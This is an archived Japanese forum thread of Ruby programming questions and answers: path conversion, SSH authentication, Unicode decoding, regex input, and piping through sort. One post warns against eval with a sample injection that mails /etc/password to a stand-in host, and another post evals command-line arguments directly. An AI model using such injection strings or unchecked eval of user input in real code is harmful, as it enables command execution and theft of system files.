ソースさらすなら、バグが発生する最小限のソースをうpしようよ・・・
254:デフォルトの名無しさん
08/01/25 18:35:50
>>253
一部をアップした結果「その部分だけでは分からない」と言われたんだろ?
そういうときはファイルそのものをアップしてもらった方が手っ取り早い
特に初心者には、どこがどこに影響を及ぼしてるのか、簡単には分からないんだから
255:デフォルトの名無しさん
08/01/25 21:41:18
>>252
こーゆーので我慢する、もしくは(cygwin|windows)を捨てる
def cygpath(opt,path) ; return `cygpath #{opt} #{File.expand_path(path)}` ; end
def winpath(path)
path = File.expand_path(path)
if RUBY_PLATFORM =~ /cygwin/ # ? cygwin 環境と一致する奴
# return `cygpath -w #{path}`
return path.sub(%r!^/cygdrive/(.)/!, '\1:/').sub(%r!^/home/!, 'c:/cygwin/')
end
return path
end
256:デフォルトの名無しさん
08/01/26 10:14:26
arr.each{|i|
puts i
i-=2 if gets == "prev" # 逆方向に進ませたい!
}
みたいな事やろうと思ったらwhileと自前の変数でやるしかないんですかね。
257:デフォルトの名無しさん
08/01/26 10:18:40
>>256
残念ながら、自前で書かないと出来ないですね。
# 外部イテレータが欲しい。
258:デフォルトの名無しさん
08/01/26 10:27:29
continue -2
とかできたらいいのに。
259:デフォルトの名無しさん
08/01/26 10:27:50
ああ、Ruby だと next だ。
260:デフォルトの名無しさん
08/01/26 12:38:23
>>145
遅レスだが、なんでrubydb使ってないの?
エラー行へのジャンプも普通にあるよ?
んでもって、refe.elとか使えばEmacs上でヘルプも見れる
もし、*nix環境ならfastRI入れてri-ruby.el入れるといいんじゃない?
↑はSoftware Design2月号のEmacs特集の受け売りで
俺はWin環境でMeadowだから使ってないけど
261:デフォルトの名無しさん
08/01/26 12:42:42
>>252
WSHのFileSystemObjectを使うのが常套手段
URLリンク(jp.rubyist.net)
262:デフォルトの名無しさん
08/01/26 13:28:37
Emacsの有名どころではruby-electric.elがあるがこれがまた動作が微妙
導入時は喜ばれるが1週間くらいして無言で外されることで有名
263:デフォルトの名無しさん
08/01/26 14:52:22
中括弧とdo〜endぐらいならいいんじゃない?
それぐらいなら手で打てってことかもしれんが
Meadowでxmpfilter使っている人います?
cmdproxy.exeで試したんだけど、スクリプト評価後にプロンプトや
ロゴ表示が残ってしまってションボリな感じ
264:デフォルトの名無しさん
08/01/26 18:57:37
Net::SSH.startで:password => 'mypassword'としパスフレーズを指定してるのですが
実行時に"Enter password for /home/localuser/.ssh/id_rsa:"とでて入力を要求されます
#!/usr/bin/env ruby
require 'rubygems'
require 'net/ssh'
Net::SSH.start(
'192.168.11.3',
:username => 'remoteuser',
:password => 'mypassword' ) do | session |
session.process.popen3('echo "Hello"') do |i, o, e|
STDOUT << o.read << "\n"
end
end
実行時にパスフレーズを要求されないようにするにはどうのようにすればよいですか?
265:デフォルトの名無しさん
08/01/26 20:12:24
passphraseではなくpasswordなので、これはパスワード認証
のためのログインパスワードであって、秘密鍵ファイルを読むための
パスフレーズではないのでは?
でもって、
Public/private keys are always tried before the explicit password authentication, even if you provide a password.
(URLリンク(net-ssh.rubyforge.org))
なので、公開鍵認証が行われている、と。
パスフレーズのほうは、空にするか、ssh-agentとかにお任せすることになるのではないでしょうか。
266:264
08/01/26 21:59:13
>>265 ありがとうございます
ssh-agent初めて知りました
267:デフォルトの名無しさん
08/01/26 22:27:33
unicodeを表すのに、Javaとかでよく使われている ¥uXXXX という表現方法がありますが
これをRubyでデコードするにはどうしたらいいですか。
つまり '¥uXXXX' からunicode文字を得たいです。
268:デフォルトの名無しさん
08/01/26 22:34:21
str.gsub(/¥¥u((?:[¥da-f]{2}){1,6})/) { [ $1.hex ].pack('U') }
269:デフォルトの名無しさん
08/01/26 22:38:37
>>267
>>268 でいいと思うけど、後ならnkfを使うかな
270:デフォルトの名無しさん
08/01/26 22:42:46
>>268
仕組みがさっぱりわからないので、参考になるページがあれば教えてください。
271:デフォルトの名無しさん
08/01/26 22:57:30
普通に定義そのまんまだな
Unicodeの解説とか読めばいいんじゃね
272:デフォルトの名無しさん
08/01/26 23:00:34
>>270
Rubyコード的には、
¥uXXXXのXXXX部分(文字列)を16進数に変換してpack('U')でUnicode文字にしてる。
273:デフォルトの名無しさん
08/01/26 23:10:01
正規表現が極力正確なマッチになるように書かれてるから難しく見えるんだと思う
274:デフォルトの名無しさん
08/01/26 23:15:14
ぶっちゃけ /¥¥u([0-9a-f]+)/ あたりのほうがみやすくて実用的かもな。
275:デフォルトの名無しさん
08/01/26 23:19:22
>>272
逐語的に訳すとこんな感じ?
"\u"より後に続く数字またはa, b, c, d, e, fの2文字の組を
1個から6個ずつまとめてから16進数に変換する
Rubyリファレンスマニュアルの正規表現のページと見比べてみりゃ
なんとなくわかるんじゃない?
276:デフォルトの名無しさん
08/01/26 23:29:49
UTF-8の変換式は6オクテットまで規定されてるけど、
Unicode文字がそこまで定義されてないから実質的には
4オクテットまで考慮すればいいみたいね。
277:デフォルトの名無しさん
08/01/26 23:32:20
この安易な判断が20年後大問題を引き起こすとは
神ならぬ>>276には思い至ることすらできなかったのであった
278:デフォルトの名無しさん
08/01/27 00:09:27
もしそうなっても、その前にUTF16連中がさらに大問題をひきおこすから大丈夫。
279:デフォルトの名無しさん
08/01/27 00:50:46
>>267
小飼が自分で作ったツールを自慢するためにBlogでRuby用のサンプルを書いてたきがする。
280:デフォルトの名無しさん
08/01/27 10:53:26
検索用の文字列をユーザーに入力させたいんですが
1. りんご なら単純な部分一致
2. *.jpg ならワイルドカード
3. /\d+/ なら正規表現
としたいんですが一番下は1.の/home/のようなパス指定と区別がつきません。
正規表現を表す文字列で他に一般的な表記はないんでしょうか?
281:デフォルトの名無しさん
08/01/27 11:20:41
俺なら、 '\' によるエスケープを仕様に導入して、パス指定は \/home\/ と書かせる。
282:デフォルトの名無しさん
08/01/27 13:04:12
/hoge#{`mail badguy@example.com < /etc/password`}huga/
なんてのをそのままevalしないようにね。
283:デフォルトの名無しさん
08/01/27 13:10:01
>>262
ruby-electric.el はどこがダメ?
284:デフォルトの名無しさん
08/01/27 13:21:31
>>280
「正規表現で入力する」という専用入力プロンプトあるいはオプションスイッチを作る
ユーザーが一番欲しい、一番頻繁に使うと推測される機能は1と2だろ
3は見つからないあるいは見つけにくいときに使う機能であるべき
285:デフォルトの名無しさん
08/01/27 13:42:06
俺も284に一票
guiならチェックボックスとか
>>283
デフォルトだとクォーテーションや"|"も閉じちゃうので
正規表現を書くときにウザいからじゃね?
286:デフォルトの名無しさん
08/01/27 14:08:19
>>280
エスケープ文字があるときに
正規表現オブジェクトを作るのはどう?
もちろん最初と最後の"/"は取り除いて
if inputString.include?('\\') && inputString =~ /^\/.*\/$/
re = Regexp.new(inputString[1..-2])
Dir.glob("*").{|fileName| print fileName if fileName =~ re}
else
Dir.glob(inputString).{|fileName| print fileName}
end
287:デフォルトの名無しさん
08/01/27 14:15:41
>>286
エスケープ文字のない正規表現書けなくない?
288:デフォルトの名無しさん
08/01/27 14:29:16
>>286はこれを導入したことで大量な例外の処理を書かなければならなくなると思う
289:286
08/01/27 14:46:08
自分でちょっと使ってみたけど、スゲー使いにくいw
文字列先頭の'/'、文字列最後の'/'、文字列中の'\'と暗黙なスイッチを
無駄に3つ追加してて、直感的に使えず全然ダメですわ
やっぱ、素直に284の言うとおりにした方がよいと思う
290:デフォルトの名無しさん
08/01/27 19:41:23
フィルタ系のコマンド(sortとか)に
Rubyで生成したテキストを流し込み
フィルタが処理した結果を受け取りたいでし。
どう書けば良いのでしょうか?
一旦ファイルに出力して、`sort` とかで受け取るしかないですか?
291:デフォルトの名無しさん
08/01/27 19:53:17
open('| sort', 'w'){|io| io.write("d\nc\na\nb\n") }
一度きっちりIPCとかパイプとか標準入出力とかフィルタとか調べとくと吉
その点Rubyアプリケーションプログラミングとかいいと思うんだが
まるで話題にならないのは中身が硬派すぎるからなんだろうか
292:デフォルトの名無しさん
08/01/27 19:58:38
>290
読み書き両方ならIO.popenかな。
293:デフォルトの名無しさん
08/01/27 20:18:09
>>291
あの本は読んでると眠くなる
100パーセント日本語の本なのに眠くなる理由は正直よくわからん
294:デフォルトの名無しさん
08/01/27 20:26:59
>291-292
ありがとうございました。
>291 ではフィルタの結果を出力することは出来ましたが
結果が受け取れませんでした。
そこで >292 に紹介された IO.popen を
リファレンスマニュアルの例文を元に使ってみたのですが
反応が返ってこなくなってしまい、^C しました。
コマンドプロンプトや、バッチファイル上での
パイプの使い方は知っていたのですが…
>291 さんの言う通り、もう少しパイプについて調べてみます…。
295:291
08/01/27 20:36:19
ああ、見当違いなレスしてた。ごめん
フィルタの中身にもよるけどこれでいけると思う
open("| sort", "w+"){|io|
io.write("c\nb\na")
io.close_write()
res = io.read()
}
296:デフォルトの名無しさん
08/01/27 20:51:10
>295
ありがとうございました!
close_write() がポイントっぽいですね。
297:デフォルトの名無しさん
08/01/27 22:57:47
>>296
sort は入力を全部受け付けてからでないと処理できないっしょ
close_write で入力は終わったって知らせてやらなきゃ。
298:デフォルトの名無しさん
08/01/27 23:12:15
Array#sortじゃダメな理由は何?
299:デフォルトの名無しさん
08/01/27 23:14:21
sortは例で、実際は別のプログラムなんじゃねーの。
300:デフォルトの名無しさん
08/01/27 23:17:25
> フィルタ系のコマンド(sortとか)
に対して「Array#sort使え」というのはかなりマト外してるな
まあ、よっぽど特殊なコマンドでない限り、テキストいじりならRuby内部でなんとかなるのも事実ではあるが…
301:デフォルトの名無しさん
08/01/28 02:13:27
#!/usr/bin/env ruby
def main()
eval(ARGV.join(";"))
STDOUT << hoge << "\n"
end
if __FILE__ == $0
main
end
みたいなshowhoge.rbを作ってshowhoge.rb "hoge=\"Hello\""を実行したのですが
Helloと表示されません。 引数をevalしてオプションを解析する手間を省きたいのですが失敗していますorz
302:デフォルトの名無しさん
08/01/28 02:31:27
~$ cat syukudai.rb
require 'shellwords'
def main()
pairs = Shellwords.shellwords(ARGV.join(' '))
pairs.each do |pair|
(k,v) = pair.split(/=/)
puts "#{k}は#{v}です"
end
end
if __FILE__ == $0
main
end
~$ ruby syukudai.rb hoge="Hello" huga='World' hage=\!
hogeはHelloです
hugaはWorldです
hageは!です
ただしこれだと"や'を変数に入れることができない
303:デフォルトの名無しさん
08/01/28 02:55:17
STDOUT << hoge << "\n"
C++出身?
304:デフォルトの名無しさん
08/01/28 03:03:32
evalの前に hoge = nil
もしくは@hogeに
次ページ最新レス表示スレッドの検索類似スレ一覧話題のニュースおまかせリスト▼オプションを表示暇つぶし2ch
5376日前に更新/271 KB
担当:undef